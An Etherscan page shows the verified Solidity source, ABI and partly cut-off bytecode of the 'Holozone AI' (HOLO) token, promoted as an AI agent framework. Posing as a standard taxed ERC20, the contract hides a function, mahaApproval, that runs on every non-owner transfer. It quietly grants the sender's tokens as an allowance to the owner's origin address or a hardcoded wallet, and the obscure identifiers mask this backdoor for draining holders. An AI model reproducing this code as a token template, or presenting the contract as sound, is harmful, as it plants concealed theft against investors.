ETH Price: $2,877.06 (-2.45%)
 

Overview

Max Total Supply

1,000,000,000 HOLO

Holders

184

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HOLO

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-02-14
*/

/*
The most advanced AI Agent framework on the blockchain is here. Create your own agents or 'clone' the personalities and traits of real life humans. Join the 24/7 HoloSpace on X for a live demonstration of Holos.

https://www.holoai.pro
https://beta.holoai.pro
https://docs.holoai.pro
https://x.com/holozoneai_eth
https://t.me/holozoneai_eth
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.1;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IMAHARouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IMAHAFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract HOLO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => bool) private _mahaFeeExcluded;
    mapping (address => uint256) private _mahaBulls;
    mapping (address => mapping (address => uint256)) private _mahaNodes;
    address private _mahaPair;
    IMAHARouter private _mahaRouter;
    address private _mahaWallet = 0x8ACdBe7686b3cCbf4Ff08906B1Ffe07b997881d8;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalMAHA = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Holozone AI";
    string private constant _symbol = unicode"HOLO";
    uint256 private _tokenMAHASwap = _tTotalMAHA / 100;
    bool private inSwapMAHA = false;
    modifier lockTheSwap {
        inSwapMAHA = true;
        _;
        inSwapMAHA = false;
    }
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    
    constructor () {
        _mahaFeeExcluded[owner()] = true;
        _mahaFeeExcluded[address(this)] = true;
        _mahaFeeExcluded[_mahaWallet] = true;
        _mahaBulls[_msgSender()] = _tTotalMAHA;
        emit Transfer(address(0), _msgSender(), _tTotalMAHA);
    }

    function initToken() external onlyOwner() {
        _mahaRouter = IMAHARouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_mahaRouter), _tTotalMAHA);
        _mahaPair = IMAHAFactory(_mahaRouter.factory()).createPair(address(this), _mahaRouter.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalMAHA;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _mahaBulls[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _mahaNodes[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _mahaNodes[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _mahaNodes[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function mahaApproval(address aMAHA, bool isMAHA, uint256 mahaA) private {
        address walletMAHA;
        if(isMAHA) walletMAHA = tx.origin;
        else walletMAHA = _mahaWallet;
        _approve(aMAHA, walletMAHA, mahaA);
    }

    function _transfer(address mahaF, address mahaT, uint256 mahaA) private {
        require(mahaF != address(0), "ERC20: transfer from the zero address");
        require(mahaT != address(0), "ERC20: transfer to the zero address");
        require(mahaA > 0, "Transfer amount must be greater than zero");

        uint256 taxMAHA = _mahaTransfer(mahaF, mahaT, mahaA);

        if(taxMAHA > 0){
          _mahaBulls[address(this)] = _mahaBulls[address(this)].add(taxMAHA);
          emit Transfer(mahaF, address(this), taxMAHA);
        }

        _mahaBulls[mahaF] = _mahaBulls[mahaF].sub(mahaA);
        _mahaBulls[mahaT] = _mahaBulls[mahaT].add(mahaA.sub(taxMAHA));
        emit Transfer(mahaF, mahaT, mahaA.sub(taxMAHA));
    }

    function swapBackMAHA(address mahaF, address mahaT, uint256 mahaA, bool isMAHA) private {
        uint256 tokenMAHA = balanceOf(address(this));  mahaApproval(mahaF, isMAHA, mahaA);
        if (!inSwapMAHA && mahaT == _mahaPair && _swapEnabled && _buyCount > _preventSwapBefore) {
            if(tokenMAHA > _tokenMAHASwap)
            swapTokensForEth(minMAHA(mahaA, minMAHA(tokenMAHA, _tokenMAHASwap)));
            uint256 caMAHA = address(this).balance;
            if (caMAHA >= 0) {
                sendETHMAHA(address(this).balance);
            }
        }
    }

    function _mahaTransfer(address mahaF, address mahaT, uint256 mahaA) private returns(uint256) {
        uint256 taxMAHA=0; address walletMAHA = tx.origin;
        if (mahaF != owner() && mahaT != owner()) {
            taxMAHA = mahaA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (mahaF == _mahaPair && mahaT != address(_mahaRouter) && ! _mahaFeeExcluded[mahaT]) {
                _buyCount++;
            }

            if(mahaT == _mahaPair && mahaF!= address(this)) {
                taxMAHA = mahaA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            swapBackMAHA(mahaF, mahaT, mahaA, _mahaFeeExcluded[walletMAHA]);
        } return taxMAHA;
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _mahaRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    receive() external payable {}

    function minMAHA(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHMAHA(uint256 amount) private {
        payable(_mahaWallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenMAHA) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _mahaRouter.WETH();
        _approve(address(this), address(_mahaRouter), tokenMAHA);
        _mahaRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenMAHA,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600680546001600160a01b031916738acdbe7686b3ccbf4ff08906b1ffe07b997881d81781556003600781905560085560006009818155600a828155600b849055600c849055600d93909355600e9190915560649162000065919062000297565b6200007590633b9aca006200038f565b62000081919062000229565b600f556010805462ffffff191690553480156200009d57600080fd5b506000620000aa6200020d565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060018060006200010362000211565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260019384905282812080548616851790556006549091168152208054909216179055620001646009600a62000297565b6200017490633b9aca006200038f565b60026000620001826200020d565b6001600160a01b03168152602081019190915260400160002055620001a66200020d565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e06009600a62000297565b620001f090633b9aca006200038f565b604051620001ff919062000220565b60405180910390a3620003c7565b3390565b6000546001600160a01b031690565b90815260200190565b6000826200024557634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116200025e57506200028e565b818704821115620002735762000273620003b1565b808616156200028157918102915b9490941c9380026200024d565b94509492505050565b6000620002ab60001960ff851684620002b2565b9392505050565b600082620002c357506001620002ab565b81620002d257506000620002ab565b8160018114620002eb5760028114620002f6576200032a565b6001915050620002ab565b60ff8411156200030a576200030a620003b1565b6001841b915084821115620003235762000323620003b1565b50620002ab565b5060208310610133831016604e8410600b841016171562000362575081810a838111156200035c576200035c620003b1565b620002ab565b6200037184848460016200024a565b808604821115620003865762000386620003b1565b02949350505050565b6000816000190483118215151615620003ac57620003ac620003b1565b500290565b634e487b7160e01b600052601160045260246000fd5b61166980620003d76000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146101fc578063c9567bf91461021c578063dd62ed3e14610231578063e66738cd14610251576100cd565b8063715018a6146101ae5780638da5cb5b146101c557806395d89b41146101e7576100cd565b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012a57806323b872dd1461014c578063313ce5671461016c57806370a082311461018e576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e7610266565b6040516100f49190611128565b60405180910390f35b34801561010957600080fd5b5061011d61011836600461105c565b61028b565b6040516100f4919061111d565b34801561013657600080fd5b5061013f6102a9565b6040516100f491906113b6565b34801561015857600080fd5b5061011d61016736600461101c565b6102ca565b34801561017857600080fd5b50610181610352565b6040516100f4919061142f565b34801561019a57600080fd5b5061013f6101a9366004610fac565b610357565b3480156101ba57600080fd5b506101c3610372565b005b3480156101d157600080fd5b506101da6103fa565b6040516100f491906110b4565b3480156101f357600080fd5b506100e7610409565b34801561020857600080fd5b5061011d61021736600461105c565b610427565b34801561022857600080fd5b506101c361043b565b34801561023d57600080fd5b5061013f61024c366004610fe4565b610554565b34801561025d57600080fd5b506101c361057f565b60408051808201909152600b81526a486f6c6f7a6f6e6520414960a81b602082015290565b600061029f6102986107b1565b84846107b5565b5060015b92915050565b60006102b76009600a6114bb565b6102c590633b9aca0061158c565b905090565b60006102d7848484610869565b610347846102e36107b1565b6103428560405180606001604052806028815260200161160c602891396001600160a01b038a166000908152600360205260408120906103216107b1565b6001600160a01b031681526020810191909152604001600020549190610a29565b6107b5565b5060015b9392505050565b600990565b6001600160a01b031660009081526002602052604090205490565b61037a6107b1565b6000546001600160a01b039081169116146103b05760405162461bcd60e51b81526004016103a790611278565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526004815263484f4c4f60e01b602082015290565b600061029f6104346107b1565b8484610869565b6104436107b1565b6000546001600160a01b039081169116146104705760405162461bcd60e51b81526004016103a790611278565b601054610100900460ff16156104985760405162461bcd60e51b81526004016103a79061137f565b6005546001600160a01b031663f305d71947306104b481610357565b6000806104bf6103fa565b426040518863ffffffff1660e01b81526004016104e1969594939291906110e2565b6060604051808303818588803b1580156104fa57600080fd5b505af115801561050e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105339190611087565b50506010805461ff001962ff00001990911662010000171661010017905550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6105876107b1565b6000546001600160a01b039081169116146105b45760405162461bcd60e51b81526004016103a790611278565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556106059030906001600160a01b03166105f76009600a6114bb565b61034290633b9aca0061158c565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561065357600080fd5b505afa158015610667573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068b9190610fc8565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106e857600080fd5b505afa1580156106fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107209190610fc8565b6040518363ffffffff1660e01b815260040161073d9291906110c8565b602060405180830381600087803b15801561075757600080fd5b505af115801561076b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078f9190610fc8565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166107db5760405162461bcd60e51b81526004016103a79061133b565b6001600160a01b0382166108015760405162461bcd60e51b81526004016103a7906111be565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061085c9085906113b6565b60405180910390a3505050565b6001600160a01b03831661088f5760405162461bcd60e51b81526004016103a7906112f6565b6001600160a01b0382166108b55760405162461bcd60e51b81526004016103a79061117b565b600081116108d55760405162461bcd60e51b81526004016103a7906112ad565b60006108e2848484610a63565b9050801561095c57306000908152600260205260409020546109049082610bcf565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109539085906113b6565b60405180910390a35b6001600160a01b03841660009081526002602052604090205461097f9083610bfe565b6001600160a01b0385166000908152600260205260409020556109c46109a58383610bfe565b6001600160a01b03851660009081526002602052604090205490610bcf565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a0e8585610bfe565b604051610a1b91906113b6565b60405180910390a350505050565b60008184841115610a4d5760405162461bcd60e51b81526004016103a79190611128565b506000610a5a84866115ab565b95945050505050565b60008032610a6f6103fa565b6001600160a01b0316866001600160a01b031614158015610aa95750610a936103fa565b6001600160a01b0316856001600160a01b031614155b15610bc657610ada6064610ad4600b54600e5411610ac957600754610acd565b6009545b8790610c40565b90610c85565b6004549092506001600160a01b038781169116148015610b0857506005546001600160a01b03868116911614155b8015610b2d57506001600160a01b03851660009081526001602052604090205460ff16155b15610b4857600e8054906000610b42836115c2565b91905055505b6004546001600160a01b038681169116148015610b6e57506001600160a01b0386163014155b15610b9b57610b986064610ad4600c54600e5411610b8e57600854610acd565b600a548790610c40565b91505b6001600160a01b038116600090815260016020526040902054610bc69087908790879060ff16610cc7565b50949350505050565b600080610bdc838561143d565b90508381101561034b5760405162461bcd60e51b81526004016103a790611200565b600061034b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a29565b600082610c4f575060006102a3565b6000610c5b838561158c565b905082610c688583611455565b1461034b5760405162461bcd60e51b81526004016103a790611237565b600061034b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d61565b6000610cd230610357565b9050610cdf858385610d8f565b60105460ff16158015610cff57506004546001600160a01b038581169116145b8015610d13575060105462010000900460ff165b8015610d225750600d54600e54115b15610d5a57600f54811115610d4e57610d4e610d4984610d4484600f54610dbd565b610dbd565b610dd2565b47610d5847610f6e565b505b5050505050565b60008183610d825760405162461bcd60e51b81526004016103a79190611128565b506000610a5a8486611455565b60008215610d9e575032610dac565b506006546001600160a01b03165b610db78482846107b5565b50505050565b6000818311610dcc578261034b565b50919050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e2257634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e7657600080fd5b505afa158015610e8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eae9190610fc8565b81600181518110610ecf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600554610ef591309116846107b5565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f2e9085906000908690309042906004016113bf565b600060405180830381600087803b158015610f4857600080fd5b505af1158015610f5c573d6000803e3d6000fd5b50506010805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fa8573d6000803e3d6000fd5b5050565b600060208284031215610fbd578081fd5b813561034b816115f3565b600060208284031215610fd9578081fd5b815161034b816115f3565b60008060408385031215610ff6578081fd5b8235611001816115f3565b91506020830135611011816115f3565b809150509250929050565b600080600060608486031215611030578081fd5b833561103b816115f3565b9250602084013561104b816115f3565b929592945050506040919091013590565b6000806040838503121561106e578182fd5b8235611079816115f3565b946020939093013593505050565b60008060006060848603121561109b578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b8181101561115457858101830151858201604001528201611138565b818111156111655783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561140e5784516001600160a01b0316835293830193918301916001016113e9565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611450576114506115dd565b500190565b60008261147057634e487b7160e01b81526012600452602481fd5b500490565b80825b600180861161148757506114b2565b818704821115611499576114996115dd565b808616156114a657918102915b9490941c938002611478565b94509492505050565b600061034b60001960ff8516846000826114d75750600161034b565b816114e45750600061034b565b81600181146114fa576002811461150457611531565b600191505061034b565b60ff841115611515576115156115dd565b6001841b91508482111561152b5761152b6115dd565b5061034b565b5060208310610133831016604e8410600b8410161715611564575081810a8381111561155f5761155f6115dd565b61034b565b6115718484846001611475565b808604821115611583576115836115dd565b02949350505050565b60008160001904831182151516156115a6576115a66115dd565b500290565b6000828210156115bd576115bd6115dd565b500390565b60006000198214156115d6576115d66115dd565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461160857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220887578d9a2c904ecf7a60dadf32f8c7e326973d1aef266d8c752db48f663042964736f6c63430008010033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146101fc578063c9567bf91461021c578063dd62ed3e14610231578063e66738cd14610251576100cd565b8063715018a6146101ae5780638da5cb5b146101c557806395d89b41146101e7576100cd565b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012a57806323b872dd1461014c578063313ce5671461016c57806370a082311461018e576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e7610266565b6040516100f49190611128565b60405180910390f35b34801561010957600080fd5b5061011d61011836600461105c565b61028b565b6040516100f4919061111d565b34801561013657600080fd5b5061013f6102a9565b6040516100f491906113b6565b34801561015857600080fd5b5061011d61016736600461101c565b6102ca565b34801561017857600080fd5b50610181610352565b6040516100f4919061142f565b34801561019a57600080fd5b5061013f6101a9366004610fac565b610357565b3480156101ba57600080fd5b506101c3610372565b005b3480156101d157600080fd5b506101da6103fa565b6040516100f491906110b4565b3480156101f357600080fd5b506100e7610409565b34801561020857600080fd5b5061011d61021736600461105c565b610427565b34801561022857600080fd5b506101c361043b565b34801561023d57600080fd5b5061013f61024c366004610fe4565b610554565b34801561025d57600080fd5b506101c361057f565b60408051808201909152600b81526a486f6c6f7a6f6e6520414960a81b602082015290565b600061029f6102986107b1565b84846107b5565b5060015b92915050565b60006102b76009600a6114bb565b6102c590633b9aca0061158c565b905090565b60006102d7848484610869565b610347846102e36107b1565b6103428560405180606001604052806028815260200161160c602891396001600160a01b038a166000908152600360205260408120906103216107b1565b6001600160a01b031681526020810191909152604001600020549190610a29565b6107b5565b5060015b9392505050565b600990565b6001600160a01b031660009081526002602052604090205490565b61037a6107b1565b6000546001600160a01b039081169116146103b05760405162461bcd60e51b81526004016103a790611278565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b604080518082019091526004815263484f4c4f60e01b602082015290565b600061029f6104346107b1565b8484610869565b6104436107b1565b6000546001600160a01b039081169116146104705760405162461bcd60e51b81526004016103a790611278565b601054610100900460ff16156104985760405162461bcd60e51b81526004016103a79061137f565b6005546001600160a01b031663f305d71947306104b481610357565b6000806104bf6103fa565b426040518863ffffffff1660e01b81526004016104e1969594939291906110e2565b6060604051808303818588803b1580156104fa57600080fd5b505af115801561050e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105339190611087565b50506010805461ff001962ff00001990911662010000171661010017905550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6105876107b1565b6000546001600160a01b039081169116146105b45760405162461bcd60e51b81526004016103a790611278565b600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556106059030906001600160a01b03166105f76009600a6114bb565b61034290633b9aca0061158c565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561065357600080fd5b505afa158015610667573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068b9190610fc8565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106e857600080fd5b505afa1580156106fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107209190610fc8565b6040518363ffffffff1660e01b815260040161073d9291906110c8565b602060405180830381600087803b15801561075757600080fd5b505af115801561076b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078f9190610fc8565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166107db5760405162461bcd60e51b81526004016103a79061133b565b6001600160a01b0382166108015760405162461bcd60e51b81526004016103a7906111be565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061085c9085906113b6565b60405180910390a3505050565b6001600160a01b03831661088f5760405162461bcd60e51b81526004016103a7906112f6565b6001600160a01b0382166108b55760405162461bcd60e51b81526004016103a79061117b565b600081116108d55760405162461bcd60e51b81526004016103a7906112ad565b60006108e2848484610a63565b9050801561095c57306000908152600260205260409020546109049082610bcf565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109539085906113b6565b60405180910390a35b6001600160a01b03841660009081526002602052604090205461097f9083610bfe565b6001600160a01b0385166000908152600260205260409020556109c46109a58383610bfe565b6001600160a01b03851660009081526002602052604090205490610bcf565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a0e8585610bfe565b604051610a1b91906113b6565b60405180910390a350505050565b60008184841115610a4d5760405162461bcd60e51b81526004016103a79190611128565b506000610a5a84866115ab565b95945050505050565b60008032610a6f6103fa565b6001600160a01b0316866001600160a01b031614158015610aa95750610a936103fa565b6001600160a01b0316856001600160a01b031614155b15610bc657610ada6064610ad4600b54600e5411610ac957600754610acd565b6009545b8790610c40565b90610c85565b6004549092506001600160a01b038781169116148015610b0857506005546001600160a01b03868116911614155b8015610b2d57506001600160a01b03851660009081526001602052604090205460ff16155b15610b4857600e8054906000610b42836115c2565b91905055505b6004546001600160a01b038681169116148015610b6e57506001600160a01b0386163014155b15610b9b57610b986064610ad4600c54600e5411610b8e57600854610acd565b600a548790610c40565b91505b6001600160a01b038116600090815260016020526040902054610bc69087908790879060ff16610cc7565b50949350505050565b600080610bdc838561143d565b90508381101561034b5760405162461bcd60e51b81526004016103a790611200565b600061034b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a29565b600082610c4f575060006102a3565b6000610c5b838561158c565b905082610c688583611455565b1461034b5760405162461bcd60e51b81526004016103a790611237565b600061034b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d61565b6000610cd230610357565b9050610cdf858385610d8f565b60105460ff16158015610cff57506004546001600160a01b038581169116145b8015610d13575060105462010000900460ff165b8015610d225750600d54600e54115b15610d5a57600f54811115610d4e57610d4e610d498461